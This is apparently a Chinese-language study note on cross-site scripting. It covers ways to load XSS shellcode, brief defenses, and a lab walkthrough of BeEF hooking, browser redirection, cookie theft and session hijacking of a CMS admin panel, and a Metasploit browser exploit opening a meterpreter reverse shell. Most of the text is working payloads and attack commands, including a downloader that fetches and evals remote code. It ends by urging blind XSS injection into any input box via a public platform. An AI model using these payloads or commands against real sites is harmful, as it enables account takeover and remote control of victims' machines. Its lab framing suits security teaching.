文章目录
一:ShellCode
1.1:简述
shellcode就是在利用漏洞所执行的代码。
完整的XSS攻击,会将shellcode存放在一定的地方,然后触发漏洞并调用shellcode
1.2:调用shellcode的四种方式
1.2.1:远程调用JS
可以将JS代码单独存放在一个js文件中,然后通过http协议远程加载该脚本。
如:
<script src="http://172.16.132.138/XSS-TEST/normal/xss.js"></script>
,这是比较常用的方式。
xss.js内容如下:alert('xss.js');
1.2.2:windows.location.hash
我们也可以使用js中的windows.location.hash方法获取浏览器url地址的xss代码。
windows.location.hash
会获取url中#后面的内容,例如:http://domain.com/index.php#Tom
,那么,windows.location.hash的值就是#Tom
所以我们可以构造如下代码:
?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/This is windows.location.hash/)
直接提交到测试页面xss.php
1.2.3:xss Downloader
xss下载器就是将xss代码写到网页中,然后通过ajax技术,获取网页中的xss代码。
那么什么是ajax技术?
Ajax即Asynchronous Javascript And XML(异步JavaScript和XML)在 2005年被Jesse James Garrett提出的新术语,用来描述一种使用现有技术集合的‘新’方法,包括: HTML 或 XHTML, CSS, JavaScript, DOM, XML, XSLT, 以及最重要的XMLHttpRequest。使用Ajax技术网页应用能够快速地将增量更新呈现在用户界面上,而不需要重载(刷新)整个页面,这使得程序能够更快地回应用户的操作。
在使用xss downloader之前需要一个我们自己的网页,xss_downloader.php内容如下:
~~~~~BOF|alert(/xss/)|EOF~~~~~~~~~
这里的波浪线代表前后都有很多的html代码,被其包裹
常见的下载器如下:
<script>
function XSS(){
if (window.XMLHttpRequest){
a = new XMLHttpRequest();
}else if (window.ActiveXObject){
a = new ActiveXObject("Microsoft.XMLHTTP");
}else {
return;
}
a.open('get','http://172.16.132.161/XSS-TEST/normal/xss_downloader.php' ,false);
a.send();
b=a.responseText;
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));
}
XSS();
</script>
AJAX技术会受到浏览器同源策略的限制,为了解决这个问题,我们需要在服务端代码中添加额外的内容:
在xss_downloader.php文件中加入以下代码:
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers:Origin, X-Requested-With, Content-Type, Accept');
?>
~~~~BOF|alert(/xss/)|EOF~~~~~~~~~~~~
这两行header代码作用:实现跨域访问。比如url地址栏一个是IP地址(127.0.0.1的形式),一个是localhost
1.2.4:备选存储技术
我们可以把Shellcode存储在客户端的本地域中,比如HTTP Cookie Flash共享对象,UserData,localStorage等。
我们以http cookie为例子。
点击cookie-xss 验证。
二:XSS的防御
2.1:使用XSS Filter
xss filter的作用是过滤用户(客户端)提交的有害信息,从而达到防范xss攻击的效果。
输入过滤
“永远不要相信用户的输入”是网站开发的基本常识,对于用户输入一定要过滤,过滤,再过滤。
输入验证
简单的说,输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或忽略除此之外的其他任何数据。
输入是否仅包含合法的字符
输入字符串是否超过最大长度限制
输入如果为数字,数字是否在指定的范围
输入是否符合特殊的格式要求,如E-mail地址,ip地址等。
数据消毒
过滤和净化掉有害的输入
输出编码
html编码主要是用对应的html实体代替字符。
黑白名单
不管是采用输入过滤还是输出编码,都是针对数据信息进行黑/白名单式的过滤。
黑名单,非允许数据
白名单,允许的数据
2.2:防御DOM-XSS
避免客户端文档重写、重定向或其他敏感操作。
三:XSS实战实验
3.1:beef简介
xss神器,xss漏洞的利用平台
3.2:beef的简单准备
kali启动
所在目录:/usr/share/beef-xss
配置文件:config.yaml
启动工具的两种方法:
cd /usr/share/beef-xss
./beef
beff-xss
启动时发现报错
在初次使用时,需要在配置文件修改默认的账号密码才能使用
保存退出
然后运行命令:beef-xss
开启成功之后,kali系统会自动在kali中打开浏览器,并访问http://127.0.0.1:3000/ui/authentication
登录界面。(我的是2021版本的,不同版本有可能地址不一样)
或者自己在真实机浏览器上输入kaliIP + /ui/authentication
我这里有个问题,我估计是bug
就是当你在页面输入了正确的账号密码的时候,也会提示你无效的账号或密码,显示登录不成功,如下图:
其实是登录成功的,这时候我们把url地址变更下:http://10.157.12.220:3000/ui/panel
直接回车就可以进入了。如下图:
好坑啊这里,也百度不到这里为什么,自己试了好久,才发现的,也不知道为啥,若有大佬知道,烦请评论告诉下。
并且后续实验也没法做,上线机器也没有显示。
晚上我回到宿舍,用自己的笔记本试了下这个实验,发现很顺利
步骤:
1:先安装beef-xss(自己电脑的这个kali版本没有预装)
命令:apt-get install beef-xss
2:修改配置文件
cd /etc/share/beef-xss
cp config.yaml config.yaml_bak 先备份好配置文件
vim config.yaml
把初始密码改成123456
3:beef-xss 启动。然后自动在kali虚拟机上的火狐浏览器打开了登录界面,输入beef/123456直接登录成功
这里有三个网址,了解下:
beef的web界面管理控制台
http://127.0.0.1:3000/ui/panel
新版本的kali:http://127.0.0.1:3000/ui/authentication
shellcode
http://127.0.0.1:3000/hook.js
测试页面
http://127.0.0.1:3000/demos/butcher/index.html
3.3:浏览器劫持
接下来就是浏览器劫持的演示。上面已完成在kali虚拟机登录成功。
现在我们回到真实物理机上,打开浏览器。
输入http://192.168.152.130:3000/demos/butcher/index.html
这个192.168.152.130地址是kali虚拟机的IP地址。
我们回到kali上:
发了有了上线的主机。
点击主机可以看到很多信息
选中commands,发现有很多可以操作的命令,并且前面还有很多不同颜色的小原点。
那不同的圆点分别代表什么意思呢?
其实在登录之后的主页早有说明:
翻译版本:
所谓的浏览器劫持,我们可以采用网页重定向的方法来实现,也就是我们只要把这网页强行重定向了,也就算是劫持了这个浏览器网页了。
输入重定向网站,点击Execute
然后在真实物理机浏览器上输入http://192.168.152.130:3000/demos/butcher/index.html
直接自动跳转到百度
3.4:Cookie窃取与欺骗——固定会话攻击
刚出了点意外。
现在重新准备了环境。
kali虚拟机:IP地址:10.1.1.1
win7:IP地址:10.1.1.2
win2008r2 IP地址:10.1.1.253,仅作DHCP服务器用。可有可无,与本实验无关
先进入win7,进入cms的留言板块,进行留言
然后登录后台管理,查看留言。
然后我们回到kali虚拟机,选择get cookie,然后点击右下角的execute按钮。
然后就能看到cookie值。
然后再kali的浏览器上输入以下代码。
回车之后,然后再浏览器地址栏输入以下路径。
便能不需要账号密码,直接登录到后台。
3.5:利用浏览器漏洞getshell
启动工具msf
msfconsole
use exploit/windows/browser/ms10_002_aurora win7系统可以用ms12063浏览器漏洞
set payload windows/meterpreter/reverse_tcp
set SRVHOST 172.16.132.128
set LHOST 172.16.132.128
exploit
sessions -i 查看会话
sessions -i 1 切到会话1
getuid
shell 进入目标主机的shell,这个shell起作用的前提是,目标机浏览器对应的那个窗口不能关闭。
退出这个shell,用ps命令查看进程,切换到另外的进程里面
migrate 1532
3.6:xss平台
XSS盲打,见到输入框就把XSS代码插进去
盲打平台网址:xsspt.com